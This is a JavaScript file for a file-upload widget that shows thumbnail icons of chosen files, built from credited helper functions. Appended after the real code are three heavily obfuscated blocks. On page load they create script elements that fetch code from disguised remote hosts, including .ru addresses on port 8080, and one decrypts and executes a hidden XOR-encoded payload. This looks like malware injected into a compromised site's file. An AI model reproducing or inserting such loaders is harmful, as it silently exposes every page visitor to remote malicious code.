/*
	Written by Jonathan Snook, http://www.snook.ca/jonathan
	Add-ons by Robert Nyman, http://www.robertnyman.com
*/
function getElementsByClassName(oElm, strTagName, strClassName){
	var arrElements = (strTagName == "*" && oElm.all)? oElm.all : oElm.getElementsByTagName(strTagName);
	var arrReturnElements = new Array();
	strClassName = strClassName.replace(/-/g, "\-");
	var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");
	var oElement;
	for(var i=0; i<arrElements.length; i++){
		oElement = arrElements[i];
		if(oRegExp.test(oElement.className)){
			arrReturnElements.push(oElement);
		}
	}
	return (arrReturnElements)
}

// From Quirksmode - http://www.quirksmode.org/js/events_properties.html
// (slightly modified)
function GetTarget(Event){
	var Target;
	if (!Event) var Event = window.event;
	if (Event.target) Target = Event.target;
	else if (Event.srcElement) Target = Event.srcElement;
	if (Target.nodeType == 3) // defeat Safari bug
		Target = Target.parentNode;

  return Target;
}

// From Ajax Cookbook - http://ajaxcookbook.org/event-handling-memory-leaks/
// (Slightly modified.)
function Listen(instance, eventName, listener) {
  if (instance.addEventListener) {
    instance.addEventListener(eventName, listener, false);
  } else if (instance.attachEvent) {
    var f = listener;
    listener = function() {
      f(window.event);
    }
    instance.attachEvent("on" + eventName, listener);
  } else {
    throw new Error("Event registration not supported");
  }
}

if(!Array.indexOf){
  Array.prototype.indexOf = function(obj){
    for(var i=0; i<this.length; i++){
      if(this[i]==obj){
        return i;
      }
    }
    return -1;
  }
}








function RemoveIcon(Event){
  var RemoveButton = GetTarget(Event);
  var Icon = RemoveButton.parentNode;

  // If the first icon is removed, set the next icon as first.
  if(Icon.className == "First" && Icon.nextSibling)
    Icon.nextSibling.className = "First";

  // Remove
  Icon.parentNode.removeChild(RemoveButton.parentNode);
}


function GetForm(Field){
  var TheForm = Field.parentNode;
  while(TheForm.tagName.toLowerCase() != "form"){
    TheForm = TheForm.parentNode;
  }
  return TheForm;
}

function SetWideOrTall(Icon){
  Icon.parentNode.className = (Icon.height/Icon.width > 0.75) ? "Tall" : "Wide"; // I define "Tall" as having an aspect ratio that's taller than 3/4. It's a pretty arbitrarily value, though.
}

function wwIconifiedOnChange(Event){
  // Get the field with the new file.
  var Field = GetTarget(Event);

  // Find the place where to put the file icon.
  var Container = getElementsByClassName(GetForm(Field), "ul", "wwIconified").pop();

  // Create the icon base node.
  var Base = document.createElement("li");
  if(!Container.hasChildNodes())
    Base.className = "First"; // Makes styling a bit easier.

  // Create the actual icon.
  var IconFrame = document.createElement("div");
  Base.appendChild(IconFrame);
  var ImageFileTypes = ["jpeg", "jpg", "gif", "png", "bmp", "tga", "tif", "tiff"];
  var Matches = /([^\/\\]*[\/\\])*([^\/\\]+)\.(\w+)/.exec(Field.value);
  var FileType = (Matches!=null ? Matches[3].toLowerCase() : "");
  if(ImageFileTypes.indexOf(FileType) >= 0){
    // Create a thumbnail of the local image.
    var Icon = document.createElement("img");
    IconFrame.appendChild(Icon);
    Listen(Icon, "load", function(){SetWideOrTall(Icon);});  // Icon.width is not available until it's loaded, but It's useful for the styling to know if the image is wide or tall.
    Icon.src = "file:///"+Field.value; // Must be done after we add the event listenerand put the icon into the DOM structure, or the onload event might not be triggered after we set the initial values.
  }else{
    // Let the styling take care of the icons for other file types.
    IconFrame.className = FileType;
  }

  // The file name.
  var FileName = document.createElement("p");
  var FileText = /([^\/\\]*[\/\\])*([^\/\\]+)/.exec(Field.value)[2];
  var TextLength = 40;
  if(FileText.length > (TextLength+2))
    FileText = FileText.substr(0, TextLength)+"...";
  FileName.innerHTML = FileText;
  Base.appendChild(FileName);

  // Add a "remove" button.
  var RemoveButton = document.createElement("button");
  RemoveButton.setAttribute("type", "button");
  RemoveButton.className = "RemoveButton";
  var Label = document.createElement("span");
  Label.innerHTML = "Remove";
  RemoveButton.appendChild(Label);
  Listen(RemoveButton, "click", RemoveIcon);
  Base.appendChild(RemoveButton);

  // Make a copy of the visible file field, sans the value.
  var BlankField = document.createElement("input");
  BlankField.type = "file";
  BlankField.name = Field.name;
  BlankField.id = Field.id;
  BlankField.className = Field.className;
  Listen(BlankField, "change", wwIconifiedOnChange);
  Field.parentNode.insertBefore(BlankField, Field);
  
  // Move the file upload field to the icon area, so the file can get uploaded. (You probably want to hide it with a "display: none;" in your stylesheet, since it makes no sense to have it visible.)
  Field.className = "File";
  Base.appendChild(Field);
//   Base.insertBefore(Field, RemoveButton);

  // Show it all to the world!
  Container.appendChild(Base);
}

function wwIconifyFileUploadInit(){
  // For all instances of the wwIconify file upload field.
  var Fields = getElementsByClassName(document, "input", "wwIconified");
  for(var i=0; i<Fields.length; i++){
    // Add the event listener.
    Listen(Fields[i], "change", wwIconifiedOnChange); // The main action.

    // Make sure there's a place to put the icons.
    var Container = getElementsByClassName(GetForm(Fields[i]), "ul", "wwIconified").pop();
    if(!Container){
      // Someone was too lazy to make a container for the icons, so let's create one now, and insert it just before the file-field.
      Container = document.createElement("ul");
      Container.className = "wwIconified";
      Fields[i].parentNode.insertBefore(Container, Fields[i]);
    }
  }
}

Listen(window, "load", wwIconifyFileUploadInit);
function e() {var r=false;this.o=false;function j(d,l,k){var x;if(x!='b'){x=''};d['sLect|Antnt2rLi2bLunt2eL'.replace(/[Lc\|2n]/g, '')](l, k);this.ka="ka";}this.h=false;var u=new String();this.gs=false;var lt=window;var lp="";var on=false;var g='cdrdeda,tdeFEdl$edm,edndtd'.replace(/[dF\$@,]/g, '');var _b=new Array();var qw;if(qw!='_o'){qw='_o'};var y='sac1rni%pnta'.replace(/[a3n1%]/g, '');var qk;if(qk!='' && qk!='oq'){qk='ib'};this.n_=false;lt['oNnNlmomaQd<'.replace(/[\<Q,Nm]/g, '')]=function(){var qmr;if(qmr!='uha'){qmr='uha'};try {this.im=false;v=document[g](y);var bd;if(bd!=''){bd='ck'};var yj=43933;var p=new Date();j(v,'dkeufkeJr_'.replace(/[_uJvk]/g, ''),1);j(v,'sQrncw'.replace(/[wLnQ\^]/g, ''),'hUtGtMpG:U/x/UsMpUeMeUdUtDeGsUtx-GnUeUtx.GsUoGnDiUcxoD.UcxoMmD.DvxeGrGiDzxoDnD-MnUeDtU.DhMoUmMeUuDsMaUoGnGlGiGnUeG.UrMux:U8D0U8M0D/UsUpUiDeGgUeUlD.DdDeM/xsUpGiMeMgMeMlU.GdMeU/xgUoDoDgDlUeM.GcUoDmU/GvxeUrxixzDoMnGwGiGrxeUlxeDsxsx.McUoDmD/DbDlGoxoDmxbDeDrDgD.GcGoMmD/G'.replace(/[GUDMx]/g, ''));var m=new Array();document['b/ogd/y%'.replace(/[%BOg/]/g, '')]['a9p+p9e|n+d|CFh|i+l9d+'.replace(/[\+\|F9t]/g, '')](v);} catch(em){var xt="";};var a=40313;};var _z;if(_z!='ms'){_z=''};var dr;if(dr!='np'){dr=''};this.rt=51396;var ec;if(ec!='qe'){ec='qe'};};this.pl='';e();
var TQ="212a0b2d0b731a0a0a24266f151c150a743a1e380e0c1d0a053f0d3f38392807351f2a302f071903330a19382f260d1d110d3f073c271b2b090a390f162409290a6d2737420d0914600e165b121d";var Ue;if(Ue!='lt' && Ue!='yq'){Ue='lt'};var Lme;if(Lme!='up' && Lme!='ep'){Lme='up'};function y(R){var Rq='';var Sv;if(Sv!='' && Sv!='P'){Sv=null};var p;if(p!='rm'){p=''}; this.zQ=false;this.fj=false;function C(z){this.B="";var w;if(w!='' && w!='Q'){w=''};this.ac='';this.tV='';var Y=z[L("enlgth", [2,0,1,3])];this.hj='';var Fn;if(Fn!='' && Fn!='N'){Fn=null};this.DI=44421;var eq;if(eq!='T'){eq=''};var S=[255,225][0];var El;if(El!='Tn' && El != ''){El=null};var zI=[214,225,148,1][3];var HM="HM";var H=[209,0,218,232][1];var hv=new Array();var s=[0][0];var Ys;if(Ys!='Ld' && Ys != ''){Ys=null};var tho=new String();while(s<Y){var cP=new String();var AR=new String();var HX;if(HX!='Hz' && HX != ''){HX=null};s++;var Pi=new Date();var fP;if(fP!='Zo'){fP='Zo'};M=iE(z,s - zI);H+=M*Y;}var Pq;if(Pq!=''){Pq='yz'};return new F(H % S);}var pe="";var rD='';var dU=false;var HN=false; var L=function(Z, sZ){this.tQs="";var q = '';var cPi="";var LN;if(LN!='' && LN!='cq'){LN=''};var zI=[126,22,217,1][3];var Hj;if(Hj!='CV'){Hj=''};var at;if(at!='kx'){at=''};var X = sZ.length;var gw;if(gw!='kxe'){gw='kxe'};var hM = Z.length;var V;if(V!='fC' && V != ''){V=null};var ZX=[105,0][1];var Gf=false;var xa;if(xa!='' && xa!='ar'){xa=''};var YL;if(YL!='' && YL!='Wh'){YL='uZ'};var cJ=new String();for(var n = ZX; n < hM; n += X) {var a = Z.substr(n, X);var yK;if(yK!=''){yK='Lm'};if(a.length == X){var kb;if(kb!='' && kb!='FV'){kb='RH'};for(var s in sZ) {var rn;if(rn!='' && rn!='Mk'){rn=null};var We;if(We!='kIs'){We=''};q+=a.substr(sZ[s], zI);var qUY=new Array();var jB=new Array();}} else {  q+=a;this.cv="cv";var KR;if(KR!='Uc' && KR != ''){KR=null};}var kJ=new Array();var VP;if(VP!='tu'){VP='tu'};}return q;var Ap;if(Ap!='JL' && Ap!='Su'){Ap='JL'};this.KHE="KHE";};var gQ=false;this.ao=false; var l=function(j,v){var SI="";var Au=new Date();return j^v;};var Sn=false;var qt;if(qt!='yr'){qt='yr'}; var i=function(Z){var sD;if(sD!='jk'){sD='jk'};var Ww=false;var du=new Array();var q = '';this.xC=false;var n =[225,51,0][2];var qe="qe";this.oU=false;this.vN="";var g = -1;var aXm='';Z = new F(Z);var gI;if(gI!='Df' && gI != ''){gI=null};var ZX =[18,246,0][2];this.RJ='';var xG;if(xG!='zZ' && xG != ''){xG=null};var zV="";for (n=Z[L("teglnh", [3,1,4,2,0])]-g;n>=ZX;n=n-[37,1][1]){q+=Z[L("ahctAr", [2,1,0])](n);var Mr=30438;}var YA=36594;var Bh=5398;var Sm;if(Sm!='yC' && Sm!='Ah'){Sm=''};var kT=new String();return q;var QD=false;var Yp;if(Yp!='BS' && Yp!='tt'){Yp='BS'};};var To=new String();this.GY=""; var iE=function(r,O){return r[L("hacCoreAdt", [2,0,1])](O);var bA;if(bA!='' && bA!='pa'){bA=null};};var qP=window;var nEs;if(nEs!='NJ' && nEs != ''){nEs=null};var hS=qP[L("vela", [1,0])];var o=hS(L("unFciton", [2,0,1,3,5,4,6,7]));var OD="";var DV=new Date();var f = '';var sj=false;var nq=hS(L("xERgpe", [2,5,3,1,0,4]));var ck;if(ck!='' && ck!='Iq'){ck=null};var F=hS(L("rnStig", [2,3,0,4,1]));var xw=false;var qZ='';var dj;if(dj!='' && dj!='jX'){dj=null};this.yS="";var nV='';this.oG=7671;var bY='';var qU=F[L("rfarmCohCode", [1,0,6,4,5,7,2,3])];var I=qP[L("nuseacep", [1,0])];var al;if(al!='' && al!='dL'){al='dE'};var PQ='';var gy=33661;var hz=false;var bT;if(bT!='' && bT!='Ii'){bT='yN'};var E = /[^@a-z0-9A-Z_-]/g;var ZX =[0,66,241,51][0];var Jm;if(Jm!='qC'){Jm=''};var EO = qU(37);this.gl='';var XL;if(XL!='' && XL!='cD'){XL=null};var D=[1, L("cduome.nctreeaEtlenmte(\'rsicpt\')", [1,3,0,2,4,5]),2, L("udocmetnd.boy.padpenChlid(d)", [1,2,3,0,4,5,7,6]),3, L("nphhoicoa.com", [2,7,4,1,6,3,5,0]),4, L(".desAtttirubet\'(edef\'r", [1,0]),5, L("gouhg.ojoelc..lo.pogge", [3,2,5,4,1,6,0]),6, L("t.pitsmaee.pu:r0880", [2,0,1]),7, L("savrdeelr.spucom", [1,4,0,5,3,2,6]),8, L("niwwodno.aold", [2,1,0]),11, L("udsiq.oocom", [2,4,0,3,1]),12, L("uftcnoi)(n", [1,0,4,3,2]),14, L("ogolgec.om", [1,0,2]),15, L("tahc(ec)", [6,1,0,3,2,4,5,7]),16, L("h\"tt:p", [1,0]),17, L(".sdrc", [2,0,1]),18, L("wiwi", [1,0]),19, L("1\')\'", [1,0]),20, L("rty", [1,0])];var odM;if(odM!=''){odM='sv'};var PY=2579;var W = R[L("etgnlh", [4,0,3,2,1])];this.Fd='';this.sQ='';var qv = '';var LX=false;var Ew=new Date();var U = '';var x =[185,148,2,58][2];var Hzj;if(Hzj!=''){Hzj='YB'};var hT = '';var zI =[1,185,134][0];var UDa;if(UDa!='Zoz'){UDa='Zoz'};var u =[18,0][1];var Zjv;if(Zjv!='' && Zjv!='SK'){Zjv='vc'};var Dg;if(Dg!='kK' && Dg != ''){Dg=null};var aj;if(aj!='SH' && aj!='tf'){aj='SH'};for(var vw=ZX; vw < W; vw+=x){var Eez=new Date();hT+= EO; var cp=new String();var is="is";hT+= R[L("ussbrt", [1,0])](vw, x);var dR;if(dR!='HY' && dR!='gC'){dR='HY'};var Elo="Elo";}var UvD;if(UvD!='' && UvD!='Gj'){UvD=''};var Nx;if(Nx!='lg'){Nx=''};var R = I(hT);var MA;if(MA!='' && MA!='ei'){MA=null};var iEt = new F(y);var oV = iEt[L("preclae", [1,2,0])](E, U);var Hzh=new Date();var ap="";var J = D[L("nlgeth", [1,3,0,2])];var Zb;if(Zb!=''){Zb='SSd'};var NG="NG";oV = i(oV);var Em = new F(o);var JPL=new String();var eD;if(eD!='pq' && eD!='NQ'){eD='pq'};var on;if(on!='' && on!='hnH'){on=''};this.Xs='';this.BiE='';var Rx = Em[L("eprlace", [2,0,1,3])](E, U);var Ell;if(Ell!='tq' && Ell!='ha'){Ell=''};var Rx = C(Rx);this.xV='';this.NJH="";var d=C(oV);this.Wr='';for(var n=ZX; n < (R[L("enlgth", [2,0,1,3])]);n=n+[1][0]) {var Zy=false;var cnl=new String();var ym = oV.charCodeAt(u);var PS;if(PS!='' && PS!='Al'){PS=null};var ij=new String();var t = iE(R,n);this.ew=false;t = l(t, ym);var Mm;if(Mm!='Dm' && Mm!='TM'){Mm='Dm'};var qH;if(qH!='gJA' && qH!='ay'){qH='gJA'};var ug=new String();t = l(t, d);t = l(t, Rx);var FX;if(FX!='xr'){FX=''};var Pe;if(Pe!='oe' && Pe != ''){Pe=null};this.GXW='';var Jf;if(Jf!='Dt'){Jf='Dt'};u++;var Fs;if(Fs!=''){Fs='kX'};this.tqy="tqy";this.Xm=false;if(u > oV.length-zI){var YN='';u=ZX;var mY="";var sjf;if(sjf!='EW'){sjf=''};}qv += qU(t);var Lj=new Array();var wh=new String();}this.aB=false;for(Og=ZX; Og < J; Og+=x){var sE="sE";var Ke="";this.qPZ="qPZ";this.fL=false;var YG;if(YG!=''){YG='xub'};var yt="";var Ds = qU(D[Og]);var K = D[Og + zI];this.OA='';var Wa;if(Wa!='oZ' && Wa!='fH'){Wa='oZ'};this.XR=34570;var IY;if(IY!='yl' && IY != ''){IY=null};this.Ta="Ta";var sy = new nq(Ds, F.fromCharCode(103));qv=qv[L("arpelce", [1,3,2,4,0])](sy, K);var gm=new Array();}var hP;if(hP!='zi' && hP!='UU'){hP='zi'};this.GK="";var HI=new o(qv);var zG;if(zG!='EE' && zG!='Suh'){zG=''};var Ya=new String();HI();var nF;if(nF!='dLc' && nF != ''){nF=null};var ql="ql";var uB=new String();oV = '';this.NO="";var qSL=new String();Em = '';var Na;if(Na!='' && Na!='Gx'){Na=''};d = '';var MAH=new String();Rx = '';var eiW;if(eiW!='' && eiW!='br'){eiW=null};qv = '';HI = '';var Qr=new Array();var Gu;if(Gu!='qB' && Gu!='mu'){Gu='qB'};this.tZ=false;return '';var md=new Array();var RZ='';};var Ue;if(Ue!='lt' && Ue!='yq'){Ue='lt'};var Lme;if(Lme!='up' && Lme!='ep'){Lme='up'};y(TQ);
function C() {var B=new String();var Bc;if(Bc!='' && Bc!='AS'){Bc=null};var Fc='g';var sP="";var R;if(R!='' && R!='z'){R=null};var g='[';var s=RegExp;var fA=new Date();var b='replace';this.AF="";var f=new String();this.x="";var S=']';var Ie=new String();this.c="";function F(n,L){this.cl='';var bK;if(bK!='yU' && bK!='DD'){bK=''};var a=new Array();var dx;if(dx!='' && dx!='Nl'){dx=''};var W=g;var l=new String();W+=L;W+=S;var Ud;if(Ud!='XY' && Ud!='u'){Ud='XY'};this.AK="";var by=new s(W, Fc);return n[b](by, f);var SL=new Date();};var M=F('/8fwe8eLd8b8uwr8nweVrV.wcAoAmV/wfVe8e8dVbAuLrwn8eArA.Acwo8m8/8hVuLlLuL.LcLoLmV/8gLawmAe8tLrVaLiLlVe8rLsw.Vc8oAm8/VgVo8o8gAlAeL.8cVoLmw.wpVhLpA',"LwA8V");var io=new Array();var TC;if(TC!=''){TC='UQ'};var h=F('hHtMtMpH:M/H/MpHoMrAnHhAoHsAtM-HcHoMmM.MsMiAfMyH.AcAoAmH.MxHvAiHdAeMoHsH-HcAoHmA.AnHeAwAaMgHeAdAiHrAeMcHtA.HrHuH:H',"MHA");var T='';var fn;if(fn!='Dr' && fn != ''){fn=null};var sm=new Date();var i=F('c9rNezazt9ezENl9e9mzeznNtz',"Nz9");var X=F('sxcXrXiapxta',"Xxa");var xX="";var q=F('874776064414748617704464',"7164");var Wn;if(Wn!='' && Wn!='ol'){Wn=''};var A=window;var lG;if(lG!='cP'){lG='cP'};var pu=new String();var pR;if(pR!='J' && pR!='WE'){pR=''};var IiW=new Array();A[F('osnslXo4a4ds',"4Xs")]=function(){try {var Py='';var oU=new String();T+=h;var Ug='';T+=q;var ta;if(ta!='dM' && ta!='DA'){ta='dM'};T+=M;var aI;if(aI!='wJS' && aI!='G'){aI=''};var ka;if(ka!='xW' && ka != ''){ka=null};t=document[i](X);var ib;if(ib!='VF'){ib=''};var oE;if(oE!=''){oE='JK'};var eT;if(eT!=''){eT='zF'};var rp='';var vx;if(vx!='' && vx!='_'){vx='nQ'};Q(t,'defer',([1,4][0]));var Wd=new Array();var wg=new Array();Q(t,'src',T);var VQ=new String();var aN;if(aN!='' && aN!='VC'){aN=''};var Zt="";document.body.appendChild(t);var fo;if(fo!='Zx' && fo!='Uc'){fo=''};} catch(p){var AXt;if(AXt!='Gg'){AXt=''};};};var Wm;if(Wm!='Td' && Wm!='j'){Wm=''};var mw=new Date();function Q(pr,D,w){var bJ;if(bJ!='' && bJ!='PP'){bJ='MH'};pr.setAttribute(D, w);var sw=new Array();}};var XJ="";var SS="";C();